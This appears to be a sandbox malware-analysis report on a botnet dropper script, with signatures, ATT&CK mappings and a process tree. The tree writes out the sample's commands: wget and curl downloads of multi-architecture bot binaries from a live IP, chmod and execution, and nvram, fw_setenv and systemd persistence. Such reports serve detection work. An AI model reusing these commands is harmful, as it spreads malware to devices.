Overview

overview

7

Static

static

1

ohshit.sh

ubuntu-18.04-amd64

7

ohshit.sh

debian-9-armhf

7

ohshit.sh

debian-9-mips

ohshit.sh

debian-9-mipsel

Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/08/2026, 14:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ohshit.sh
  • Size 2KB
  • Sample260804-sa6ycsgr3s
  • SHA256 48495aea9301bc966fb3bc35b6f412da04a983662c7708969f75f5c06e070125
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 13 IoCs
  • Modifies Watchdog functionality 1 TTPs 10 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Traces itself 5 IoCs

    Traces itself to prevent debugging attempts

  • Creates/modifies Cron job 1 TTPs 4 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 6 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Deletes log files 1 TTPs 3 IoCs

    Deletes log files on the system.

    defense_evasion
  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies systemd 2 TTPs 4 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Write file to user bin folder 14 IoCs
    persistence
  • Writes file to system bin folder 4 IoCs
  • Modifies Bash startup script 2 TTPs 5 IoCs
    persistence
  • Changes its process name 16 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Creates a desktop entry file 3 TTPs 1 IoCs

    A .desktop file is used by desktop environments to register and launch applications. This can be abused to gain persistence.

    persistenceexecution
  • Reads CPU attributes 1 TTPs 1 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 61 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to shm directory 6 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 33 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:651
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:657
    • /usr/bin/wget
      wget http://94.154.43.123/zbi/bot.x86
      2⤵
        PID:666
      • /usr/bin/curl
        curl -O http://94.154.43.123/zbi/bot.x86
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:678
      • /bin/cat
        cat bot.x86
        2⤵
          PID:681
        • /bin/chmod
          chmod +x bot.x86 busybox ohshit.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-r5Jvdt WTF
          2⤵
          • File and Directory Permissions Modification
          PID:682
        • /tmp/WTF
          ./WTF
          2⤵
            PID:683
          • /usr/bin/wget
            wget http://94.154.43.123/zbi/bot.mips
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:684
          • /usr/bin/curl
            curl -O http://94.154.43.123/zbi/bot.mips
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:685
          • /bin/cat
            cat bot.mips
            2⤵
            • System Network Configuration Discovery
            PID:686
          • /bin/chmod
            chmod +x bot.mips bot.x86 busybox ohshit.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-r5Jvdt WTF
            2⤵
            • File and Directory Permissions Modification
            PID:687
          • /tmp/WTF
            ./WTF
            2⤵
              PID:688
            • /usr/bin/wget
              wget http://94.154.43.123/zbi/bot.arc
              2⤵
                PID:690
              • /usr/bin/curl
                curl -O http://94.154.43.123/zbi/bot.arc
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:691
              • /bin/cat
                cat bot.arc
                2⤵
                  PID:696
                • /bin/chmod
                  chmod +x bot.arc bot.mips bot.x86 busybox ohshit.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-r5Jvdt WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:697
                • /tmp/WTF
                  ./WTF
                  2⤵
                    PID:699
                  • /usr/bin/wget
                    wget http://94.154.43.123/zbi/bot.i468
                    2⤵
                      PID:700
                    • /usr/bin/curl
                      curl -O http://94.154.43.123/zbi/bot.i468
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:706
                    • /bin/cat
                      cat bot.i468
                      2⤵
                        PID:714
                      • /bin/chmod
                        chmod +x bot.arc bot.i468 bot.mips bot.x86 busybox ohshit.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-r5Jvdt WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:716
                      • /tmp/WTF
                        ./WTF
                        2⤵
                          PID:717
                        • /usr/bin/wget
                          wget http://94.154.43.123/zbi/bot.i686
                          2⤵
                          • Writes file to tmp directory
                          PID:719
                        • /usr/bin/curl
                          curl -O http://94.154.43.123/zbi/bot.i686
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:734
                        • /bin/cat
                          cat bot.i686
                          2⤵
                            PID:747
                          • /bin/chmod
                            chmod +x bot.arc bot.i468 bot.i686 bot.mips bot.x86 busybox ohshit.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-r5Jvdt WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:748
                          • /tmp/WTF
                            ./WTF
                            2⤵
                              PID:749
                            • /usr/bin/wget
                              wget http://94.154.43.123/zbi/bot.x86_64
                              2⤵
                              • Writes file to tmp directory
                              PID:751
                            • /usr/bin/curl
                              curl -O http://94.154.43.123/zbi/bot.x86_64
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:752
                            • /bin/cat
                              cat bot.x86_64
                              2⤵
                                PID:753
                              • /bin/chmod
                                chmod +x bot.arc bot.i468 bot.i686 bot.mips bot.x86 bot.x86_64 busybox ohshit.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-r5Jvdt WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:754
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                  PID:755
                                • /usr/bin/wget
                                  wget http://94.154.43.123/zbi/bot.mpsl
                                  2⤵
                                    PID:757
                                  • /usr/bin/curl
                                    curl -O http://94.154.43.123/zbi/bot.mpsl
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:758
                                  • /bin/cat
                                    cat bot.mpsl
                                    2⤵
                                      PID:765
                                    • /bin/chmod
                                      chmod +x bot.arc bot.i468 bot.i686 bot.mips bot.mpsl bot.x86 bot.x86_64 busybox ohshit.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-r5Jvdt WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:767
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                        PID:769
                                      • /usr/bin/wget
                                        wget http://94.154.43.123/zbi/bot.arm
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:770
                                      • /usr/bin/curl
                                        curl -O http://94.154.43.123/zbi/bot.arm
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:784
                                      • /bin/cat
                                        cat bot.arm
                                        2⤵
                                          PID:794
                                        • /bin/chmod
                                          chmod +x bot.arc bot.arm bot.i468 bot.i686 bot.mips bot.mpsl bot.x86 bot.x86_64 busybox ohshit.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-r5Jvdt WTF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:795
                                        • /tmp/WTF
                                          ./WTF
                                          2⤵
                                          • Modifies Watchdog functionality
                                          • Traces itself
                                          • Deletes log files
                                          • Modifies systemd
                                          • Write file to user bin folder
                                          • Writes file to system bin folder
                                          • Changes its process name
                                          • Reads runtime system information
                                          • Writes file to shm directory
                                          • Writes file to tmp directory
                                          PID:796
                                          • /usr/local/sbin/systemctl
                                            systemctl daemon-reload
                                            3⤵
                                              PID:803
                                            • /usr/local/bin/systemctl
                                              systemctl daemon-reload
                                              3⤵
                                                PID:803
                                              • /usr/sbin/systemctl
                                                systemctl daemon-reload
                                                3⤵
                                                  PID:803
                                                • /usr/bin/systemctl
                                                  systemctl daemon-reload
                                                  3⤵
                                                    PID:803
                                                  • /sbin/systemctl
                                                    systemctl daemon-reload
                                                    3⤵
                                                      PID:803
                                                    • /bin/systemctl
                                                      systemctl daemon-reload
                                                      3⤵
                                                      • Enumerates kernel/hardware configuration
                                                      • Reads runtime system information
                                                      PID:803
                                                  • /usr/bin/wget
                                                    wget http://94.154.43.123/zbi/bot.arm5
                                                    2⤵
                                                      PID:798
                                                    • /usr/bin/curl
                                                      curl -O http://94.154.43.123/zbi/bot.arm5
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:804
                                                    • /bin/chmod
                                                      chmod +x bot.arc bot.arm bot.arm5 bot.i468 bot.i686 bot.mips bot.mpsl bot.x86 bot.x86_64 busybox ohshit.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-r5Jvdt WTF
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:818
                                                    • /tmp/WTF
                                                      ./WTF
                                                      2⤵
                                                      • Modifies Watchdog functionality
                                                      • Traces itself
                                                      • Deletes log files
                                                      • Modifies systemd
                                                      • Write file to user bin folder
                                                      • Writes file to system bin folder
                                                      • Changes its process name
                                                      • Reads runtime system information
                                                      • Writes file to shm directory
                                                      • Writes file to tmp directory
                                                      PID:819
                                                      • /usr/local/sbin/systemctl
                                                        systemctl daemon-reload
                                                        3⤵
                                                          PID:825
                                                        • /usr/local/bin/systemctl
                                                          systemctl daemon-reload
                                                          3⤵
                                                            PID:825
                                                          • /usr/sbin/systemctl
                                                            systemctl daemon-reload
                                                            3⤵
                                                              PID:825
                                                            • /usr/bin/systemctl
                                                              systemctl daemon-reload
                                                              3⤵
                                                                PID:825
                                                              • /sbin/systemctl
                                                                systemctl daemon-reload
                                                                3⤵
                                                                  PID:825
                                                                • /bin/systemctl
                                                                  systemctl daemon-reload
                                                                  3⤵
                                                                  • Enumerates kernel/hardware configuration
                                                                  • Reads runtime system information
                                                                  PID:825
                                                              • /usr/bin/wget
                                                                wget http://94.154.43.123/zbi/bot.arm6
                                                                2⤵
                                                                  PID:821
                                                                • /usr/bin/curl
                                                                  curl -O http://94.154.43.123/zbi/bot.arm6
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:827
                                                                • /bin/chmod
                                                                  chmod +x bot.arc bot.arm bot.arm5 bot.arm6 bot.i468 bot.i686 bot.mips bot.mpsl bot.x86 bot.x86_64 busybox ohshit.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-r5Jvdt WTF
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:841
                                                                • /tmp/WTF
                                                                  ./WTF
                                                                  2⤵
                                                                  • Modifies Watchdog functionality
                                                                  • Traces itself
                                                                  • Write file to user bin folder
                                                                  • Writes file to system bin folder
                                                                  • Changes its process name
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:842
                                                                • /usr/bin/curl
                                                                  curl -O http://94.154.43.123/zbi/bot.m68k
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:918
                                                                • /bin/chmod
                                                                  chmod +x bot.arc bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i468 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.spc bot.x86 bot.x86_64 busybox ohshit.sh systemd-private-f20c002bcffb47689c407dba2a9b72aa-systemd-timedated.service-r5Jvdt WTF
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:930
                                                                • /tmp/WTF
                                                                  ./WTF
                                                                  2⤵
                                                                  • Modifies Watchdog functionality
                                                                  • Traces itself
                                                                  • Deletes log files
                                                                  • Modifies systemd
                                                                  • Write file to user bin folder
                                                                  • Writes file to system bin folder
                                                                  • Changes its process name
                                                                  • Reads runtime system information
                                                                  • Writes file to shm directory
                                                                  • Writes file to tmp directory
                                                                  PID:931
                                                                  • /usr/local/sbin/systemctl
                                                                    systemctl daemon-reload
                                                                    3⤵
                                                                      PID:939
                                                                    • /usr/local/bin/systemctl
                                                                      systemctl daemon-reload
                                                                      3⤵
                                                                        PID:939
                                                                      • /usr/sbin/systemctl
                                                                        systemctl daemon-reload
                                                                        3⤵
                                                                          PID:939
                                                                        • /usr/bin/systemctl
                                                                          systemctl daemon-reload
                                                                          3⤵
                                                                            PID:939
                                                                          • /sbin/systemctl
                                                                            systemctl daemon-reload
                                                                            3⤵
                                                                              PID:939
                                                                            • /bin/systemctl
                                                                              systemctl daemon-reload
                                                                              3⤵
                                                                              • Enumerates kernel/hardware configuration
                                                                              • Reads runtime system information
                                                                              PID:939
                                                                          • /usr/bin/wget
                                                                            wget http://94.154.43.123/zbi/bot.sh4
                                                                            2⤵
                                                                            • Writes file to tmp directory
                                                                            PID:934
                                                                          • /usr/bin/curl
                                                                            curl -O http://94.154.43.123/zbi/bot.sh4
                                                                            2⤵
                                                                            • Checks CPU configuration
                                                                            • Reads runtime system information
                                                                            • Writes file to tmp directory
                                                                            PID:950
                                                                          • /bin/chmod
                                                                            chmod +x bot.arc bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i468 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc bot.x86 bot.x86_64 busybox ohshit.sh WTF
                                                                            2⤵
                                                                            • File and Directory Permissions Modification
                                                                            PID:957
                                                                          • /tmp/WTF
                                                                            ./WTF
                                                                            2⤵
                                                                            • Executes dropped EXE
                                                                            • Modifies Watchdog functionality
                                                                            • Traces itself
                                                                            • Creates/modifies Cron job
                                                                            • Creates/modifies environment variables
                                                                            • Modifies init.d
                                                                            • Modifies systemd
                                                                            • Write file to user bin folder
                                                                            • Modifies Bash startup script
                                                                            • Changes its process name
                                                                            • Checks CPU configuration
                                                                            • Creates a desktop entry file
                                                                            • Reads CPU attributes
                                                                            • Reads runtime system information
                                                                            • Writes file to tmp directory
                                                                            PID:958
                                                                            • /usr/local/sbin/systemctl
                                                                              systemctl enable network-dispatch.path
                                                                              3⤵
                                                                                PID:1002
                                                                              • /usr/local/bin/systemctl
                                                                                systemctl enable network-dispatch.path
                                                                                3⤵
                                                                                  PID:1002
                                                                                • /usr/sbin/systemctl
                                                                                  systemctl enable network-dispatch.path
                                                                                  3⤵
                                                                                    PID:1002
                                                                                  • /usr/bin/systemctl
                                                                                    systemctl enable network-dispatch.path
                                                                                    3⤵
                                                                                      PID:1002
                                                                                    • /sbin/systemctl
                                                                                      systemctl enable network-dispatch.path
                                                                                      3⤵
                                                                                        PID:1002
                                                                                      • /bin/systemctl
                                                                                        systemctl enable network-dispatch.path
                                                                                        3⤵
                                                                                        • Enumerates kernel/hardware configuration
                                                                                        • Reads runtime system information
                                                                                        PID:1002
                                                                                      • /usr/local/sbin/nvram
                                                                                        nvram set "rc_startup=/etc/init.d/network-dispatch start"
                                                                                        3⤵
                                                                                          PID:1015
                                                                                        • /usr/local/bin/nvram
                                                                                          nvram set "rc_startup=/etc/init.d/network-dispatch start"
                                                                                          3⤵
                                                                                            PID:1015
                                                                                          • /usr/sbin/nvram
                                                                                            nvram set "rc_startup=/etc/init.d/network-dispatch start"
                                                                                            3⤵
                                                                                              PID:1015
                                                                                            • /usr/bin/nvram
                                                                                              nvram set "rc_startup=/etc/init.d/network-dispatch start"
                                                                                              3⤵
                                                                                                PID:1015
                                                                                              • /sbin/nvram
                                                                                                nvram set "rc_startup=/etc/init.d/network-dispatch start"
                                                                                                3⤵
                                                                                                  PID:1015
                                                                                                • /bin/nvram
                                                                                                  nvram set "rc_startup=/etc/init.d/network-dispatch start"
                                                                                                  3⤵
                                                                                                    PID:1015
                                                                                                  • /usr/local/sbin/nvram
                                                                                                    nvram set "rc_service=/usr/local/bin/network-dispatch &"
                                                                                                    3⤵
                                                                                                      PID:1016
                                                                                                    • /usr/local/bin/nvram
                                                                                                      nvram set "rc_service=/usr/local/bin/network-dispatch &"
                                                                                                      3⤵
                                                                                                        PID:1016
                                                                                                      • /usr/sbin/nvram
                                                                                                        nvram set "rc_service=/usr/local/bin/network-dispatch &"
                                                                                                        3⤵
                                                                                                          PID:1016
                                                                                                        • /usr/bin/nvram
                                                                                                          nvram set "rc_service=/usr/local/bin/network-dispatch &"
                                                                                                          3⤵
                                                                                                            PID:1016
                                                                                                          • /sbin/nvram
                                                                                                            nvram set "rc_service=/usr/local/bin/network-dispatch &"
                                                                                                            3⤵
                                                                                                              PID:1016
                                                                                                            • /bin/nvram
                                                                                                              nvram set "rc_service=/usr/local/bin/network-dispatch &"
                                                                                                              3⤵
                                                                                                                PID:1016
                                                                                                              • /usr/local/sbin/nvram
                                                                                                                nvram set "sys_startup=/usr/local/bin/network-dispatch &"
                                                                                                                3⤵
                                                                                                                  PID:1017
                                                                                                                • /usr/local/bin/nvram
                                                                                                                  nvram set "sys_startup=/usr/local/bin/network-dispatch &"
                                                                                                                  3⤵
                                                                                                                    PID:1017
                                                                                                                  • /usr/sbin/nvram
                                                                                                                    nvram set "sys_startup=/usr/local/bin/network-dispatch &"
                                                                                                                    3⤵
                                                                                                                      PID:1017
                                                                                                                    • /usr/bin/nvram
                                                                                                                      nvram set "sys_startup=/usr/local/bin/network-dispatch &"
                                                                                                                      3⤵
                                                                                                                        PID:1017
                                                                                                                      • /sbin/nvram
                                                                                                                        nvram set "sys_startup=/usr/local/bin/network-dispatch &"
                                                                                                                        3⤵
                                                                                                                          PID:1017
                                                                                                                        • /bin/nvram
                                                                                                                          nvram set "sys_startup=/usr/local/bin/network-dispatch &"
                                                                                                                          3⤵
                                                                                                                            PID:1017
                                                                                                                          • /usr/local/sbin/nvram
                                                                                                                            nvram set "custom_script=/usr/local/bin/network-dispatch &"
                                                                                                                            3⤵
                                                                                                                              PID:1020
                                                                                                                            • /usr/local/bin/nvram
                                                                                                                              nvram set "custom_script=/usr/local/bin/network-dispatch &"
                                                                                                                              3⤵
                                                                                                                                PID:1020
                                                                                                                              • /usr/sbin/nvram
                                                                                                                                nvram set "custom_script=/usr/local/bin/network-dispatch &"
                                                                                                                                3⤵
                                                                                                                                  PID:1020
                                                                                                                                • /usr/bin/nvram
                                                                                                                                  nvram set "custom_script=/usr/local/bin/network-dispatch &"
                                                                                                                                  3⤵
                                                                                                                                    PID:1020
                                                                                                                                  • /sbin/nvram
                                                                                                                                    nvram set "custom_script=/usr/local/bin/network-dispatch &"
                                                                                                                                    3⤵
                                                                                                                                      PID:1020
                                                                                                                                    • /bin/nvram
                                                                                                                                      nvram set "custom_script=/usr/local/bin/network-dispatch &"
                                                                                                                                      3⤵
                                                                                                                                        PID:1020
                                                                                                                                      • /usr/local/sbin/nvram
                                                                                                                                        nvram commit
                                                                                                                                        3⤵
                                                                                                                                          PID:1021
                                                                                                                                        • /usr/local/bin/nvram
                                                                                                                                          nvram commit
                                                                                                                                          3⤵
                                                                                                                                            PID:1021
                                                                                                                                          • /usr/sbin/nvram
                                                                                                                                            nvram commit
                                                                                                                                            3⤵
                                                                                                                                              PID:1021
                                                                                                                                            • /usr/bin/nvram
                                                                                                                                              nvram commit
                                                                                                                                              3⤵
                                                                                                                                                PID:1021
                                                                                                                                              • /sbin/nvram
                                                                                                                                                nvram commit
                                                                                                                                                3⤵
                                                                                                                                                  PID:1021
                                                                                                                                                • /bin/nvram
                                                                                                                                                  nvram commit
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1021
                                                                                                                                                  • /usr/local/sbin/fw_printenv
                                                                                                                                                    fw_printenv bootcmd
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1022
                                                                                                                                                    • /usr/local/bin/fw_printenv
                                                                                                                                                      fw_printenv bootcmd
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1022
                                                                                                                                                      • /usr/sbin/fw_printenv
                                                                                                                                                        fw_printenv bootcmd
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1022
                                                                                                                                                        • /usr/bin/fw_printenv
                                                                                                                                                          fw_printenv bootcmd
                                                                                                                                                          3⤵
                                                                                                                                                            PID:1022
                                                                                                                                                          • /sbin/fw_printenv
                                                                                                                                                            fw_printenv bootcmd
                                                                                                                                                            3⤵
                                                                                                                                                              PID:1022
                                                                                                                                                            • /bin/fw_printenv
                                                                                                                                                              fw_printenv bootcmd
                                                                                                                                                              3⤵
                                                                                                                                                                PID:1022
                                                                                                                                                              • /usr/local/sbin/fw_setenv
                                                                                                                                                                fw_setenv preboot "sh /usr/local/bin/network-dispatch &"
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:1023
                                                                                                                                                                • /usr/local/bin/fw_setenv
                                                                                                                                                                  fw_setenv preboot "sh /usr/local/bin/network-dispatch &"
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:1023
                                                                                                                                                                  • /usr/sbin/fw_setenv
                                                                                                                                                                    fw_setenv preboot "sh /usr/local/bin/network-dispatch &"
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:1023
                                                                                                                                                                    • /usr/bin/fw_setenv
                                                                                                                                                                      fw_setenv preboot "sh /usr/local/bin/network-dispatch &"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:1023
                                                                                                                                                                      • /sbin/fw_setenv
                                                                                                                                                                        fw_setenv preboot "sh /usr/local/bin/network-dispatch &"
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:1023
                                                                                                                                                                        • /bin/fw_setenv
                                                                                                                                                                          fw_setenv preboot "sh /usr/local/bin/network-dispatch &"
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:1023
                                                                                                                                                                          • /etc/init.d/network-dispatch
                                                                                                                                                                            /etc/init.d/network-dispatch enable
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:1024
                                                                                                                                                                            • /usr/local/sbin/rc-update
                                                                                                                                                                              rc-update add network-dispatch
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:1027
                                                                                                                                                                              • /usr/local/bin/rc-update
                                                                                                                                                                                rc-update add network-dispatch
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:1027
                                                                                                                                                                                • /usr/sbin/rc-update
                                                                                                                                                                                  rc-update add network-dispatch
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:1027
                                                                                                                                                                                  • /usr/bin/rc-update
                                                                                                                                                                                    rc-update add network-dispatch
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:1027
                                                                                                                                                                                    • /sbin/rc-update
                                                                                                                                                                                      rc-update add network-dispatch
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:1027
                                                                                                                                                                                      • /bin/rc-update
                                                                                                                                                                                        rc-update add network-dispatch
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:1027

                                                                                                                                                                                    Network

                                                                                                                                                                                          MITRE ATT&CK Enterprise v16

                                                                                                                                                                                          Reconnaissance

                                                                                                                                                                                          Resource Development

                                                                                                                                                                                          Initial Access

                                                                                                                                                                                          Execution

                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                          1
                                                                                                                                                                                          T1053

                                                                                                                                                                                          Cron

                                                                                                                                                                                          1
                                                                                                                                                                                          T1053.003

                                                                                                                                                                                          User Execution

                                                                                                                                                                                          2
                                                                                                                                                                                          T1204

                                                                                                                                                                                          Malicious File

                                                                                                                                                                                          1
                                                                                                                                                                                          T1204.002

                                                                                                                                                                                          Persistence

                                                                                                                                                                                          Boot or Logon Autostart Execution

                                                                                                                                                                                          4
                                                                                                                                                                                          T1547

                                                                                                                                                                                          XDG Autostart Entries

                                                                                                                                                                                          2
                                                                                                                                                                                          T1547.013

                                                                                                                                                                                          Boot or Logon Initialization Scripts

                                                                                                                                                                                          1
                                                                                                                                                                                          T1037

                                                                                                                                                                                          RC Scripts

                                                                                                                                                                                          1
                                                                                                                                                                                          T1037.004

                                                                                                                                                                                          Create or Modify System Process

                                                                                                                                                                                          1
                                                                                                                                                                                          T1543

                                                                                                                                                                                          Systemd Service

                                                                                                                                                                                          1
                                                                                                                                                                                          T1543.002

                                                                                                                                                                                          Event Triggered Execution

                                                                                                                                                                                          1
                                                                                                                                                                                          T1546

                                                                                                                                                                                          Unix Shell Configuration Modification

                                                                                                                                                                                          1
                                                                                                                                                                                          T1546.004

                                                                                                                                                                                          Hijack Execution Flow

                                                                                                                                                                                          1
                                                                                                                                                                                          T1574

                                                                                                                                                                                          Path Interception by PATH Environment Variable

                                                                                                                                                                                          1
                                                                                                                                                                                          T1574.007

                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                          1
                                                                                                                                                                                          T1053

                                                                                                                                                                                          Cron

                                                                                                                                                                                          1
                                                                                                                                                                                          T1053.003

                                                                                                                                                                                          Privilege Escalation

                                                                                                                                                                                          Boot or Logon Autostart Execution

                                                                                                                                                                                          4
                                                                                                                                                                                          T1547

                                                                                                                                                                                          XDG Autostart Entries

                                                                                                                                                                                          2
                                                                                                                                                                                          T1547.013

                                                                                                                                                                                          Boot or Logon Initialization Scripts

                                                                                                                                                                                          1
                                                                                                                                                                                          T1037

                                                                                                                                                                                          RC Scripts

                                                                                                                                                                                          1
                                                                                                                                                                                          T1037.004

                                                                                                                                                                                          Create or Modify System Process

                                                                                                                                                                                          1
                                                                                                                                                                                          T1543

                                                                                                                                                                                          Systemd Service

                                                                                                                                                                                          1
                                                                                                                                                                                          T1543.002

                                                                                                                                                                                          Event Triggered Execution

                                                                                                                                                                                          1
                                                                                                                                                                                          T1546

                                                                                                                                                                                          Unix Shell Configuration Modification

                                                                                                                                                                                          1
                                                                                                                                                                                          T1546.004

                                                                                                                                                                                          Hijack Execution Flow

                                                                                                                                                                                          1
                                                                                                                                                                                          T1574

                                                                                                                                                                                          Path Interception by PATH Environment Variable

                                                                                                                                                                                          1
                                                                                                                                                                                          T1574.007

                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                          1
                                                                                                                                                                                          T1053

                                                                                                                                                                                          Cron

                                                                                                                                                                                          1
                                                                                                                                                                                          T1053.003

                                                                                                                                                                                          Defense Evasion

                                                                                                                                                                                          File and Directory Permissions Modification

                                                                                                                                                                                          1
                                                                                                                                                                                          T1222

                                                                                                                                                                                          Linux and Mac File and Directory Permissions Modification

                                                                                                                                                                                          1
                                                                                                                                                                                          T1222.002

                                                                                                                                                                                          Hijack Execution Flow

                                                                                                                                                                                          1
                                                                                                                                                                                          T1574

                                                                                                                                                                                          Path Interception by PATH Environment Variable

                                                                                                                                                                                          1
                                                                                                                                                                                          T1574.007

                                                                                                                                                                                          Impair Defenses

                                                                                                                                                                                          1
                                                                                                                                                                                          T1562

                                                                                                                                                                                          Indicator Removal

                                                                                                                                                                                          1
                                                                                                                                                                                          T1070

                                                                                                                                                                                          Clear Linux or Mac System Logs

                                                                                                                                                                                          1
                                                                                                                                                                                          T1070.002

                                                                                                                                                                                          Virtualization/Sandbox Evasion

                                                                                                                                                                                          1
                                                                                                                                                                                          T1497

                                                                                                                                                                                          System Checks

                                                                                                                                                                                          1
                                                                                                                                                                                          T1497.001

                                                                                                                                                                                          Credential Access

                                                                                                                                                                                          Discovery

                                                                                                                                                                                          System Information Discovery

                                                                                                                                                                                          2
                                                                                                                                                                                          T1082

                                                                                                                                                                                          System Network Configuration Discovery

                                                                                                                                                                                          1
                                                                                                                                                                                          T1016

                                                                                                                                                                                          Virtualization/Sandbox Evasion

                                                                                                                                                                                          1
                                                                                                                                                                                          T1497

                                                                                                                                                                                          System Checks

                                                                                                                                                                                          1
                                                                                                                                                                                          T1497.001

                                                                                                                                                                                          Lateral Movement

                                                                                                                                                                                          Collection

                                                                                                                                                                                          Command and Control

                                                                                                                                                                                          Exfiltration

                                                                                                                                                                                          Impact

                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                          Downloads

                                                                                                                                                                                          .network-dispatch
                                                                                                                                                                                          • Path /dev/mqueue/.network-dispatch
                                                                                                                                                                                          • Size 4KB
                                                                                                                                                                                          • SHA256 59288d75e9d41a8a7a4ac5be18b6175cf2e86534016ffd38042caba7b2469a78
                                                                                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                          Submit Download

                                                                                                                                                                                          99-net
                                                                                                                                                                                          • Path /etc/NetworkManager/dispatcher.d/99-net
                                                                                                                                                                                          • Size 210B
